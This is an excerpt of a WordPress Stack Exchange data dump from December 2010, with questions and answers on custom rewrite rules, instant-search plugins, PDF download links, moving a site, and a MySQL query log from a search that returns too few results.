  <row Id="5413" PostTypeId="1" AcceptedAnswerId="5478" CreationDate="2010-12-15T15:04:34.633" Score="5" ViewCount="1427" Body="&lt;p&gt;&lt;strong&gt;SOLUTION&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I've gone with Update 3 and have got it working. What I had misunderstood, was that I believed that a rewrite rule would change &lt;code&gt;designers/?designer=some-designer&amp;amp;bid=9&lt;/code&gt; to &lt;code&gt;/desingers/some-designer&lt;/code&gt;. But it is of course the other way around.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've been doing some research, but I don't quite get how to use &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API&quot; rel=&quot;nofollow&quot;&gt;add_rewrite_rule()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1878/custom-post-type-archives-by-date-and-taxonomy&quot;&gt;This post&lt;/a&gt; is pretty close to what I need, but do I really need that much code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current link is this:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.norwegianfashion.no/designers/?designer=Batlak-og-Selvig&amp;amp;bid=9&quot; rel=&quot;nofollow&quot;&gt;http://www.norwegianfashion.no/designers/?designer=Batlak-og-Selvig&amp;amp;bid=9&lt;/a&gt;&lt;br&gt;&#xA;What I want is this&lt;br&gt;&#xA;&lt;a href=&quot;http://www.norwegianfashion.no/designers/Batlak-og-Selvig/&quot; rel=&quot;nofollow&quot;&gt;http://www.norwegianfashion.no/designers/Batlak-og-Selvig/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I use &lt;code&gt;add_rewrite_rule()&lt;/code&gt;?  &lt;/li&gt;&#xA;&lt;li&gt;I need to pass the designer ID (bid). How can I do that when using re.write rules with out it showing in the URL?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.prodeveloper.org/create-your-own-rewrite-rules-in-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;I found this&lt;/a&gt; which is a bit more explainatory. But it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_rewrite_rules( $wp_rewrite ) &#xA;{&#xA;    $new_rules = array(&#xA;        '('.$template_page_name.')/designers/(.*?)/?([0-9]{1,})/?$' =&amp;gt; 'designers.php?designer='.&#xA;        $wp_rewrite-&amp;gt;preg_index(1).'&amp;amp;bid='.&#xA;        $wp_rewrite-&amp;gt;preg_index(2)&#xA;    );&#xA;       // Always add your rules to the top, to make sure your rules have priority&#xA;    $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_action('generate_rewrite_rules', 'add_rewrite_rules');&#xA;&#xA;function query_vars($public_query_vars) {&#xA;&#xA;    $public_query_vars[] = &quot;designer&quot;;&#xA;    $public_query_vars[] = &quot;bid&quot;;&#xA;    return $public_query_vars;&#xA;}&#xA;add_filter('query_vars', 'query_vars')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another solution I've tried, that &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3537/need-help-with-friendly-urls-in-wordpress&quot;&gt;Jan Fabry suggesten&lt;/a&gt; in another thread. I put this in my functions.php, but it has no effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('generate_rewrite_rules', 'add_rewrite_rules');&#xA;add_filter('query_vars', 'query_vars');&#xA;&#xA;/* Custom re-write rules for desigenrs&#xA;------------------------------------------------------------------------------*/&#xA;function add_rewrite_rules( $wp_rewrite ) &#xA;{&#xA;    add_rewrite_rule('^designers/([^/]*)/([^/]*)$ /designers/?designer=$1&amp;amp;bid=$2 [L]', 'top');&#xA;    flush_rewrite_rules(false);&#xA;}&#xA;&#xA;&#xA;function query_vars($public_query_vars) {&#xA;&#xA;    $public_query_vars[] = &quot;designer&quot;;&#xA;    $public_query_vars[] = &quot;bid&quot;;&#xA;    return $public_query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3&lt;/strong&gt;&lt;br&gt;&#xA;I &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite#Examples&quot; rel=&quot;nofollow&quot;&gt;found a few examples here&lt;/a&gt; as well. But this is not working either :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','wp_insertMyRewriteRules');&#xA;add_filter('query_vars','wp_insertMyRewriteQueryVars');&#xA;add_filter('init','flushRules');  &#xA;&#xA;// Remember to flush_rules() when adding rules&#xA;function flushRules(){&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;// Adding a new rule&#xA;function wp_insertMyRewriteRules($rules)&#xA;{&#xA;    $newrules = array();&#xA;    $newrules['(designers)/(\d*)$'] = 'index.php?pagename=designers&amp;amp;designer=$matches[1]';&#xA;    return $newrules + $rules;&#xA;}&#xA;&#xA;// Adding the bid var so that WP recognizes it&#xA;function wp_insertMyRewriteQueryVars($vars)&#xA;{&#xA;    array_push($vars, 'designer');&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 4&lt;/strong&gt;&#xA;I also tried this solution, but still no sucess.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('search_rewrite_rules', 'designers_createRewriteRules');&#xA;&#xA;function designers_createRewriteRules($rewrite) {&#xA;global $wp_rewrite;&#xA;&#xA;// add rewrite tokens&#xA;$designer_token = '%designers%';&#xA;$wp_rewrite-&amp;gt;add_rewrite_tag($designer_token, '(.+)', 'designers=');&#xA;&#xA;$bid_token = '%bid%';&#xA;$wp_rewrite-&amp;gt;add_rewrite_tag($bid_token, '(.+)', 'bid=');&#xA;&#xA;$keywords_structure = $wp_rewrite-&amp;gt;root . &quot;designers/$designer_token/$bid_token&quot;;&#xA;$keywords_rewrite = $wp_rewrite-&amp;gt;generate_rewrite_rules($keywords_structure);&#xA;&#xA;return ( $rewrite + $keywords_rewrite );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 5&lt;/strong&gt;&lt;br&gt;&#xA;It seems that my rewrite rules are not added.&#xA;Executing the follwoing afte radding new rules: &lt;code&gt;print_r($wp_rewrite)&lt;/code&gt;, does not include my new rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 6&lt;/strong&gt;&lt;br&gt;&#xA;I tested Jan's solution. But URL does not change :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Initiation script for NF template&#xA;------------------------------------------------------------------------------*/   &#xA;add_action('after_setup_theme','norwegianfashion_setup');&#xA;&#xA;if ( ! function_exists( 'norwegianfashion_setup' ) ):&#xA;&#xA;  function norwegianfashion_setup() { &#xA;    /* Here I do a lot of stuff */&#xA;&#xA;    // SEO friendly URL for desigenrs&#xA;    add_action( 'init', 'wpa5413_init' );&#xA;    add_filter( 'query_vars', 'wpa5413_query_vars' );&#xA;  }&#xA;&#xA;endif;&#xA;&#xA;&#xA;/* Custom re-write rules for desigenrs&#xA;------------------------------------------------------------------------------*/&#xA;function wpa5413_init()&#xA;{&#xA;    // Remember to flush the rules once manually after you added this code!&#xA;    add_rewrite_rule(&#xA;        'designers/([^/]+)/?',&#xA;        'index.php?pagename=designers&amp;amp;designer=$matches[1]',&#xA;        'top' );&#xA;}&#xA;&#xA;function wpa5413_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'designer';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would &lt;strong&gt;really&lt;/strong&gt; appreciate it if someone were able to help me solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-21T18:28:16.870" LastActivityDate="2011-05-26T15:30:55.497" CommunityOwnedDate="2010-12-16T13:21:50.223" Title="Need help with add_rewrite_rule" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="7" />
  <row Id="5414" PostTypeId="2" ParentId="5393" CreationDate="2010-12-15T15:13:22.830" Score="1" ViewCount="" Body="&lt;p&gt;A quick Google search turned up a plug-in called &quot;&lt;a href=&quot;http://code.google.com/p/reportport/&quot; rel=&quot;nofollow&quot;&gt;Report Post&lt;/a&gt;.&quot;  Though it hasn't been updated since 2008 and, according to &lt;a href=&quot;http://wordpress.org/support/topic/flag-post-plugin&quot; rel=&quot;nofollow&quot;&gt;a thread in the WP support forums&lt;/a&gt;, you might need to tweak the code a bit to get it to work.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-15T15:13:22.830" />
  <row Id="5415" PostTypeId="2" ParentId="5393" CreationDate="2010-12-15T15:14:51.100" Score="0" ViewCount="" Body="&lt;p&gt;You could probably work with one of the contact form type plugins with AJAX to have it pop up when the user clicks an icon and have it auto fill the post title in the subject line.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2010-12-15T15:14:51.100" />
  <row Id="5416" PostTypeId="2" ParentId="5395" CreationDate="2010-12-15T15:30:02.230" Score="2" ViewCount="" Body="&lt;p&gt;So basically you want Google Instant on your website?  That's not &quot;Intellisense,&quot; but the functionality of the two are very similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short answer to your question is: &lt;strong&gt;yes&lt;/strong&gt;.  But the somewhat less helpful question is: &lt;strong&gt;it's not easy&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Decide what you want to search&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can search anything on your site from the search box: tags, categories, custom taxonomies, page titles, post title, page content, post content, etc, etc.  So if you just want people searching through the titles of your posts, just have them search through the titles.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Set up an AJAX callback&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Google Instant (and similar tools) use AJAX (asynchronous JavaScript and XML) to request data from the server without reloading the page.  When you're typing in the search box, Google sends the text you've entered to the server and received a list of results - these are displayed in the Google Instant results below the search bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to do something similar.  As a visitor is typing, you'll need to dynamically send their input to a PHP function on the server and have it query the database and return a list of matches.  If you're searching page titles, the function will match against page titles and return a list.  You can display this in a dropdown box below the search bar.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How to actually do this&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You've got three options here: &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Wait for the exact plug-in to be built&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have yet to find a plug-in that does &lt;em&gt;exactly&lt;/em&gt; what you're looking for.  So if you're dead set on just dropping a feature into your site you'll either need to wait for someone else to do it, or &lt;a href=&quot;http://jobs.wordpress.net&quot; rel=&quot;nofollow&quot;&gt;hire someone&lt;/a&gt; to write it for you.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Modify an existing plugin to do what you need&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've managed to find one promising plug-in that claims this kind of functionality: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-instant-search/&quot; rel=&quot;nofollow&quot;&gt;WP Instant Search&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, WP Instant Search is designed to search against post tags and categories, &lt;em&gt;not&lt;/em&gt; against post content or titles.  To extend the functionality for your purposes, you'd need to modify the plug-in a bit.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Develop the feature yourself&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Building your own Google Instant-like feature wouldn't be much more difficult.  The basic system is already there: WordPress allows for database searches, has a jQuery backbone built in to the UI for AJAX support, and is infinitely pluggable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even found a very complete tutorial explaining how to build a Google Instant-like system into any PHP-powered website using jQuery: &lt;a href=&quot;http://woorkup.com/2010/09/13/how-to-create-your-own-instant-search/&quot; rel=&quot;nofollow&quot;&gt;How-To Create Your Own Instant Search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-15T15:30:02.230" />
  <row Id="5417" PostTypeId="2" ParentId="5395" CreationDate="2010-12-15T16:03:41.790" Score="0" ViewCount="" Body="&lt;p&gt;So you want more general autocomplete, rather than something specific (like blog tags for example)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use (or will consider using) &lt;a href=&quot;http://www.google.com/cse/&quot; rel=&quot;nofollow&quot;&gt;Google Custom Search&lt;/a&gt; (which is very popular option to replace native WP search), they made it quite easy to enable native autocomplete with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://googlecustomsearch.blogspot.com/2010/05/autocompletion-of-queries-in-custom.html&quot; rel=&quot;nofollow&quot;&gt;Autocompletion of queries in Custom Search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://googlecustomsearch.blogspot.com/2010/10/control-over-your-autocompletions.html&quot; rel=&quot;nofollow&quot;&gt;Control over your Autocompletions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T16:03:41.790" />
  <row Id="5419" PostTypeId="1" CreationDate="2010-12-15T17:15:16.063" Score="1" ViewCount="331" Body="&lt;p&gt;How do I add a link to a PDF in the content, so that it downloads rather than opens in the browser windows?  (I've uploaded the PDF to the media library and can insert the link but can't find an option to prevent it opening in the browser window).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lucy&lt;/p&gt;&#xA;" OwnerUserId="1786" LastActivityDate="2010-12-18T04:33:41.503" Title="Linking a PDF as a downloadable document" Tags="&lt;media&gt;&lt;links&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="5420" PostTypeId="2" ParentId="5419" CreationDate="2010-12-15T17:22:07.270" Score="1" ViewCount="" Body="&lt;p&gt;Actually, that's entirely dependent on the browser.  Some browsers will open a PDF in the window using a built-in PDF reader (most use the Adobe plug-in, Google Chrome has its own).  If the plug-in is missing, though, the browser will attempt to download the file instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your safest bet is to add instructions on the page for the user to right-click and select &quot;save as.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're concerned about users not being able to get back to the page after they click a link, add &lt;code&gt;target=&quot;_blank&quot;&lt;/code&gt; to the link and it will force the browser to open the link in a new tab or window.  Sometimes, this can be enough to trigger a download instead as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg: &lt;code&gt;&amp;lt;a href=&quot;http://site.url/document.pdf&quot; target=&quot;_blank&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-15T17:22:07.270" />
  <row Id="5421" PostTypeId="1" CreationDate="2010-12-15T17:36:11.653" Score="2" ViewCount="399" Body="&lt;p&gt;I want to migrate a group's site from Joomla to WordPress. The group has a library for members and lends books for certain periods of time, etc. (Regular library functionality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the site doesn't have a library functionality in it now, it would be something cool to add. And there's probably some plugin to add this to a page or something for WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you aware of something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: The functionality would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tracking who borrowed or reserved a book for certain date.&lt;/li&gt;&#xA;&lt;li&gt;Which books are in stock,&#xA;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="298" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-01-25T01:08:27.787" LastActivityDate="2011-02-06T14:47:04.230" Title="Library plugin for WordPress" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="5422" PostTypeId="1" CreationDate="2010-12-15T17:50:08.477" Score="0" ViewCount="412" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I Setuped a Wordpress site on &lt;a href=&quot;http://domainname.com/test/&quot; rel=&quot;nofollow&quot;&gt;http://domainname.com/test/&lt;/a&gt; now I want to move everything to main domain &lt;a href=&quot;http://domainname.com/&quot; rel=&quot;nofollow&quot;&gt;http://domainname.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this without loosing anything? and most important thing &lt;a href=&quot;http://domainname.com&quot; rel=&quot;nofollow&quot;&gt;http://domainname.com&lt;/a&gt; is live site so moving should take very less time if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion would be appreciated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress version is 3.0.3 and Hosting is Dreamhost. I have access to everything. FTP, Database.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2010-12-16T18:37:05.690" ClosedDate="2010-12-16T18:58:03.660" Title="How to move the wordpress site from test url to main url?" Tags="&lt;3.0&gt;&lt;3.0.1&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" />
  <row Id="5423" PostTypeId="2" ParentId="5422" CreationDate="2010-12-15T17:59:04.890" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;BACKUP, BACKUP, BACKUP&lt;/strong&gt; (of root that you are moving into, and of test you are moving from)&lt;/li&gt;&#xA;&lt;li&gt;take a look &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_Within_Your_Site&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;that's all.. pretty easy. just follow the steps in the link and nothing will be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for all the data that's in your root ( &lt;a href=&quot;http://domainname.com/&quot; rel=&quot;nofollow&quot;&gt;http://domainname.com/&lt;/a&gt; ) - just move it to another folder, or delete it all after you backed it all up. if it's all on the same server - it will all be done very quickly since it's all just local moving of files... &lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2010-12-15T17:59:04.890" CommentCount="2" />
  <row Id="5424" PostTypeId="1" AcceptedAnswerId="5427" CreationDate="2010-12-15T18:13:40.233" Score="1" ViewCount="142" Body="&lt;p&gt;I'm wondering why I only get one result in my search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My search query is this:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.norwegianfashion.no/?s=oslo+fashion+week&quot; rel=&quot;nofollow&quot;&gt;http://www.norwegianfashion.no/?s=oslo+fashion+week&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search google, you'll see I got plenty of hits:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.google.no/search?hl=en&amp;amp;client=opera&amp;amp;hs=GTw&amp;amp;rls=en-GB&amp;amp;q=oslo+fashion+week+site%3Awww.norwegianfashion.no&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&amp;amp;gs_rfai=&quot; rel=&quot;nofollow&quot;&gt;http://www.google.no/search?hl=en&amp;amp;client=opera&amp;amp;hs=GTw&amp;amp;rls=en-GB&amp;amp;q=oslo+fashion+week+site%3Awww.norwegianfashion.no&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&amp;amp;gs_rfai=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my local computer I looked in the query log and I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       29 Query SELECT option_name, option_value FROM nfwp_options WHERE autoload = 'yes'&#xA;       29 Query SELECT option_value FROM nfwp_options WHERE option_name = 'akismet_comment_nonce' LIMIT 1&#xA;       29 Query SELECT * FROM nfwp_users WHERE user_login = 'admin'&#xA;       29 Query SELECT user_id, meta_key, meta_value FROM nfwp_usermeta WHERE user_id IN (1)&#xA;       29 Query SELECT SQL_CALC_FOUND_ROWS  nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND (((nfwp_posts.post_title LIKE '%oslo%') OR (nfwp_posts.post_content LIKE '%oslo%')) AND ((nfwp_posts.post_title LIKE '%fashion%') OR (nfwp_posts.post_content LIKE '%fashion%')) AND ((nfwp_posts.post_title LIKE '%week%') OR (nfwp_posts.post_content LIKE '%week%')) OR (nfwp_posts.post_title LIKE '%oslo fashion week%') OR (nfwp_posts.post_content LIKE '%oslo fashion week%'))  AND nfwp_posts.post_type IN ('post', 'page', 'attachment') AND (nfwp_posts.post_status = 'publish' OR nfwp_posts.post_author = 1 AND nfwp_posts.post_status = 'private')  ORDER BY nfwp_posts.post_date DESC LIMIT 0, 10&#xA;       29 Query SELECT FOUND_ROWS()&#xA;       29 Query SELECT post_id, meta_key, meta_value FROM nfwp_postmeta WHERE post_id IN (4139,4135,4130,4129,3831,4126,3750,2564,3667,3573)&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('post_tag') AND tr.object_id IN (4139) ORDER BY t.name ASC&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = 'nav_menu' AND t.term_id = '0' LIMIT 1&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = 'nav_menu' AND t.slug = 'quick-menu' LIMIT 1&#xA;       29 Query SELECT tr.object_id FROM nfwp_term_relationships AS tr INNER JOIN nfwp_term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('nav_menu') AND tt.term_id IN ('997') ORDER BY tr.object_id ASC&#xA;       29 Query SELECT   nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND nfwp_posts.ID IN (4309) AND nfwp_posts.post_type = 'nav_menu_item' AND (nfwp_posts.post_status = 'publish')  ORDER BY menu_order ASC&#xA;       29 Query SELECT post_id, meta_key, meta_value FROM nfwp_postmeta WHERE post_id IN (4309)&#xA;       29 Query SELECT   nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND nfwp_posts.ID IN (2) AND nfwp_posts.post_type = 'page' AND (nfwp_posts.post_status = 'publish')  ORDER BY nfwp_posts.post_date DESC&#xA;       29 Query SELECT post_id, meta_key, meta_value FROM nfwp_postmeta WHERE post_id IN (2)&#xA;       29 Query SELECT SQL_CALC_FOUND_ROWS  nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND (((nfwp_posts.post_title LIKE '%oslo%20fashion%20week%') OR (nfwp_posts.post_content LIKE '%oslo%20fashion%20week%')))  AND nfwp_posts.post_type IN ('post', 'page', 'attachment') AND (nfwp_posts.post_status = 'publish' OR nfwp_posts.post_author = 1 AND nfwp_posts.post_status = 'private')  ORDER BY nfwp_posts.post_date DESC LIMIT 0, 10&#xA;       29 Query SELECT FOUND_ROWS()&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = 'nav_menu' AND t.term_id = '0' LIMIT 1&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = 'nav_menu' AND t.slug = 'main-menu' LIMIT 1&#xA;       29 Query SELECT tr.object_id FROM nfwp_term_relationships AS tr INNER JOIN nfwp_term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('nav_menu') AND tt.term_id IN ('939') ORDER BY tr.object_id ASC&#xA;       29 Query SELECT   nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND nfwp_posts.ID IN (3729,3731,3732,3733,3734,3735) AND nfwp_posts.post_type = 'nav_menu_item' AND (nfwp_posts.post_status = 'publish')  ORDER BY menu_order ASC&#xA;       29 Query SELECT post_id, meta_key, meta_value FROM nfwp_postmeta WHERE post_id IN (3729,3734,3733,3732,3731,3735)&#xA;       29 Query SELECT   nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND nfwp_posts.ID IN (30,31,786,3365,7) AND nfwp_posts.post_type = 'page' AND (nfwp_posts.post_status = 'publish')  ORDER BY nfwp_posts.post_date DESC&#xA;       29 Query SELECT post_id, meta_key, meta_value FROM nfwp_postmeta WHERE post_id IN (3365,786,31,30,7)&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category') AND tr.object_id IN (4139) ORDER BY t.name ASC&#xA;       29 Query SELECT SQL_CALC_FOUND_ROWS  nfwp_posts.* FROM nfwp_posts  WHERE 1=1  AND nfwp_posts.post_type = 'post' AND (nfwp_posts.post_status = 'publish')  ORDER BY nfwp_posts.post_date DESC LIMIT 0, 5&#xA;       29 Query SELECT FOUND_ROWS()&#xA;       29 Query SELECT t.*, tt.*, tr.object_id FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category', 'post_tag') AND tr.object_id IN (4329, 4318, 4313, 4303, 4277) ORDER BY t.name ASC&#xA;       29 Query SELECT post_id, meta_key, meta_value FROM nfwp_postmeta WHERE post_id IN (4329,4318,4313,4303,4277)&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = 'category' AND t.term_id = '998' LIMIT 1&#xA;       29 Query SELECT * FROM nfwp_users WHERE ID = 31 LIMIT 1&#xA;       29 Query SELECT user_id, meta_key, meta_value FROM nfwp_usermeta WHERE user_id IN (31)&#xA;       29 Query SELECT * FROM nfwp_comments WHERE  comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 5&#xA;       29 Query SELECT * FROM nfwp_posts WHERE ID = 1154 LIMIT 1&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category') AND tr.object_id IN (1154) ORDER BY t.name ASC&#xA;       29 Query SELECT * FROM nfwp_posts WHERE ID = 1684 LIMIT 1&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category') AND tr.object_id IN (1684) ORDER BY t.name ASC&#xA;       29 Query SELECT * FROM nfwp_posts WHERE ID = 3432 LIMIT 1&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category') AND tr.object_id IN (3432) ORDER BY t.name ASC&#xA;       29 Query SELECT * FROM nfwp_posts WHERE ID = 4138 LIMIT 1&#xA;       29 Query SELECT t.*, tt.* FROM nfwp_terms AS t INNER JOIN nfwp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN nfwp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category') AND tr.object_id IN (4138) ORDER BY t.name ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that it finds several articles 